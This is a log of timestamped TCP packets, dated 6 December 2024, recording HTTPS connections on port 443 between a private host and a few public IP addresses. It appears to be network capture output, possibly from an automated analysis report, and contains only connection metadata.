Dec 6, 2024 00:16:13.420975924 CET	443	49967	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.422265053 CET	49967	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:14.377230883 CET	49968	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:14.377300978 CET	49970	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:14.377321959 CET	49971	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:14.377324104 CET	49969	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:14.379462004 CET	49979	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:14.379498959 CET	443	49979	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:14.379576921 CET	49979	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:14.380141020 CET	49979	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:14.380152941 CET	443	49979	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:14.380494118 CET	49978	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:14.380525112 CET	443	49978	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:14.382781029 CET	49978	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:14.382986069 CET	49978	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:14.382997990 CET	443	49978	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:14.795037031 CET	443	49972	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:14.801456928 CET	49972	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:14.801465988 CET	443	49972	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:14.801996946 CET	49972	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:14.802000999 CET	443	49972	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.052757978 CET	443	49974	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.053292036 CET	49974	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.053301096 CET	443	49974	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.053796053 CET	49974	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.053800106 CET	443	49974	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.054008961 CET	443	49973	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.055018902 CET	49973	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.055038929 CET	443	49973	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.055418015 CET	49973	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.055422068 CET	443	49973	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.064688921 CET	443	49975	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.064870119 CET	443	49976	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.065438032 CET	49975	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.065445900 CET	443	49975	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.065798998 CET	49975	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.065803051 CET	443	49975	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.067759991 CET	49976	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.067775965 CET	443	49976	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.068120003 CET	49976	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.068125010 CET	443	49976	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.236798048 CET	443	49972	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.236849070 CET	443	49972	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.236917973 CET	49972	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.237209082 CET	49972	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.237219095 CET	443	49972	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.237240076 CET	49972	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.237245083 CET	443	49972	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.240075111 CET	49982	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.240123034 CET	443	49982	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.240209103 CET	49982	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.240333080 CET	49982	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.240349054 CET	443	49982	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.488048077 CET	443	49974	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.488106966 CET	443	49974	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.488162041 CET	49974	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.492650032 CET	443	49973	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.492698908 CET	443	49973	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.492748022 CET	49973	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.503035069 CET	443	49976	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.503087044 CET	443	49976	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.503135920 CET	49976	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.503935099 CET	443	49975	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.503997087 CET	443	49975	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.504039049 CET	49975	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.513506889 CET	49974	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.513514996 CET	443	49974	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.513525009 CET	49974	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.513529062 CET	443	49974	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.521625042 CET	49973	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.521636963 CET	443	49973	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.521646023 CET	49973	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.521651030 CET	443	49973	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.529515028 CET	49976	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.529536963 CET	443	49976	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.529546976 CET	49976	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.529552937 CET	443	49976	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.533798933 CET	49975	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.533804893 CET	443	49975	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.533813000 CET	49975	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.533816099 CET	443	49975	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.788729906 CET	49983	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.788758993 CET	443	49983	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.788829088 CET	49983	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.789750099 CET	49984	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.789757013 CET	443	49984	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.789828062 CET	49984	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.790247917 CET	49985	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.790296078 CET	443	49985	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.790344000 CET	49985	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.790788889 CET	49986	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.790796041 CET	443	49986	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.790839911 CET	49986	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.791302919 CET	49983	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.791317940 CET	443	49983	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.791393042 CET	49984	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.791404009 CET	443	49984	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.791469097 CET	49985	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.791484118 CET	443	49985	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:15.791543961 CET	49986	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:15.791553020 CET	443	49986	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:16.068805933 CET	443	49979	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.068880081 CET	49979	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.069459915 CET	443	49979	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.069514036 CET	49979	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.069777012 CET	443	49978	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.069834948 CET	49978	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.070429087 CET	443	49978	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.070468903 CET	49978	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.082520962 CET	49979	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.082532883 CET	443	49979	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.082726955 CET	443	49979	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.082768917 CET	49979	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.083642960 CET	49979	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.084163904 CET	49978	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.084177017 CET	443	49978	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.084388018 CET	443	49978	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.084433079 CET	49978	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.085237026 CET	49978	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.127337933 CET	443	49979	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.131335974 CET	443	49978	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.979154110 CET	443	49979	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.979924917 CET	443	49979	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.980026960 CET	49979	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.980134010 CET	49979	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.980149031 CET	443	49979	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.980166912 CET	49979	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.980194092 CET	49979	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.980674028 CET	49988	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.980691910 CET	443	49988	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.980696917 CET	443	49978	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.980756998 CET	49988	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.980768919 CET	49978	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.980784893 CET	49989	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:16.980788946 CET	443	49978	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.980842113 CET	443	49989	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:16.980849981 CET	49978	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.980886936 CET	49989	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:16.980943918 CET	49978	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.980972052 CET	443	49978	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.981091022 CET	443	49978	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.981133938 CET	49978	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.981148958 CET	49978	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.981235027 CET	49989	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:16.981249094 CET	443	49989	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:16.981394053 CET	49990	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:16.981427908 CET	443	49990	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:16.981498003 CET	49991	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.981512070 CET	443	49991	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.981527090 CET	49990	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:16.981554985 CET	49991	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.981632948 CET	49988	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.981642962 CET	443	49988	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.981762886 CET	49990	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:16.981775999 CET	443	49990	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:16.981791019 CET	49991	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:16.981801033 CET	443	49991	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:16.997236967 CET	443	49982	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:16.999167919 CET	49982	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:16.999191046 CET	443	49982	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:16.999631882 CET	49982	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:16.999636889 CET	443	49982	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.427671909 CET	443	49982	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.427735090 CET	443	49982	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.427788019 CET	49982	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.427994967 CET	49982	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.428018093 CET	443	49982	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.428030014 CET	49982	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.428035021 CET	443	49982	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.430830002 CET	49992	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.430859089 CET	443	49992	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.430946112 CET	49992	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.431103945 CET	49992	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.431113005 CET	443	49992	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.550995111 CET	443	49986	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.551450968 CET	49986	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.551470041 CET	443	49986	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.551877975 CET	49986	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.551882029 CET	443	49986	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.552350044 CET	443	49985	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.552599907 CET	49985	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.552615881 CET	443	49985	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.552619934 CET	443	49984	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.552859068 CET	49984	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.552865982 CET	443	49984	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.552926064 CET	49985	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.552931070 CET	443	49985	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.553328991 CET	49984	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.553333044 CET	443	49984	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.554410934 CET	443	49983	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.554667950 CET	49983	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.554676056 CET	443	49983	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.554994106 CET	49983	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.554997921 CET	443	49983	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.981873035 CET	443	49986	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.981930017 CET	443	49986	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.981998920 CET	49986	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.982197046 CET	49986	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.982213974 CET	443	49986	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.982223034 CET	49986	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.982228041 CET	443	49986	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.982559919 CET	443	49985	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.982610941 CET	443	49985	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.982657909 CET	49985	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.983371973 CET	443	49984	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.983423948 CET	443	49984	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.983474016 CET	49984	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.983725071 CET	49985	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.983747959 CET	443	49985	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.983757019 CET	49985	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.983762026 CET	443	49985	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.984561920 CET	49984	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.984566927 CET	443	49984	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.984596014 CET	49984	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.984599113 CET	443	49984	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.986999035 CET	443	49983	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.987061024 CET	443	49983	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.987108946 CET	49983	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.987514019 CET	49993	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.987549067 CET	443	49993	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.987605095 CET	49993	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.987987041 CET	49994	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.988015890 CET	443	49994	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.988071918 CET	49994	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.988478899 CET	49995	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.988487005 CET	443	49995	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.988542080 CET	49995	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.995661974 CET	49993	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.995676994 CET	443	49993	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.995748997 CET	49983	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.995754004 CET	443	49983	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.995762110 CET	49983	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.995764971 CET	443	49983	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.995788097 CET	49994	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.995803118 CET	443	49994	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.995851040 CET	49995	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.995858908 CET	443	49995	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.997765064 CET	49996	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.997787952 CET	443	49996	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:17.997857094 CET	49996	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.997951984 CET	49996	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:17.997965097 CET	443	49996	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:18.677215099 CET	443	49990	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:18.677325964 CET	49990	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:18.678925037 CET	443	49991	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:18.678997040 CET	49991	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:18.679169893 CET	443	49988	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:18.679234028 CET	49988	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:18.679750919 CET	443	49989	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:18.679826021 CET	49989	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:18.714833021 CET	49991	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:18.714843035 CET	443	49991	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:18.732994080 CET	49991	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:18.732999086 CET	443	49991	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:18.735435009 CET	49990	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:18.735452890 CET	443	49990	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:18.735677958 CET	443	49990	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:18.735728025 CET	49990	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:18.739310980 CET	49990	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:18.739557981 CET	49988	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:18.739566088 CET	443	49988	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:18.739686966 CET	49988	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:18.739691019 CET	443	49988	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:18.740876913 CET	49989	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:18.740895987 CET	443	49989	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:18.741108894 CET	443	49989	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:18.741158962 CET	49989	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:18.741381884 CET	49989	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:18.779333115 CET	443	49990	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:18.787338018 CET	443	49989	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:19.143711090 CET	443	49992	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.145558119 CET	49992	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:19.145572901 CET	443	49992	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.146190882 CET	49992	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:19.146193981 CET	443	49992	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.568924904 CET	443	49992	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.568988085 CET	443	49992	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.569179058 CET	49992	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:19.569392920 CET	49992	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:19.569407940 CET	443	49992	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.569422960 CET	49992	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:19.569427967 CET	443	49992	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.571945906 CET	49999	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:19.571981907 CET	443	49999	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.572058916 CET	49999	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:19.572241068 CET	49999	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:19.572256088 CET	443	49999	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.586493969 CET	443	49988	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:19.586551905 CET	49988	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:19.586647034 CET	49988	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:19.586678982 CET	443	49988	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:19.586792946 CET	443	49988	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:19.586844921 CET	49988	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:19.586853981 CET	49988	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:19.587074995 CET	50000	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:19.587102890 CET	443	50000	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:19.587156057 CET	50000	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:19.587317944 CET	50000	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:19.587330103 CET	443	50000	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:19.592997074 CET	443	49991	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:19.593064070 CET	49991	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:19.593085051 CET	443	49991	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:19.593127966 CET	49991	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:19.593214989 CET	49991	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:19.593245983 CET	443	49991	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:19.593369007 CET	443	49991	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:19.593411922 CET	49991	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:19.593424082 CET	49991	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:19.593646049 CET	50001	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:19.593671083 CET	443	50001	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:19.593729019 CET	50001	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:19.593907118 CET	50001	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:19.593916893 CET	443	50001	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:19.693861008 CET	443	49989	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:19.693909883 CET	443	49989	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:19.693984985 CET	49989	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:19.694004059 CET	443	49989	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:19.694014072 CET	443	49989	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:19.694041014 CET	49989	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:19.694067001 CET	49989	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:19.695327044 CET	49989	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:19.695341110 CET	443	49989	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:19.695888042 CET	50002	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:19.695923090 CET	443	50002	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:19.695974112 CET	50002	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:19.696233034 CET	50002	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:19.696248055 CET	443	50002	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:19.697758913 CET	443	49990	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:19.697798967 CET	443	49990	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:19.697855949 CET	49990	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:19.697855949 CET	49990	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:19.697877884 CET	443	49990	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:19.697902918 CET	443	49990	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:19.697985888 CET	49990	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:19.698539972 CET	49990	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:19.698548079 CET	443	49990	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:19.699045897 CET	50003	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:19.699079990 CET	443	50003	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:19.699134111 CET	50003	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:19.699413061 CET	50003	443	192.168.2.4	142.250.181.33
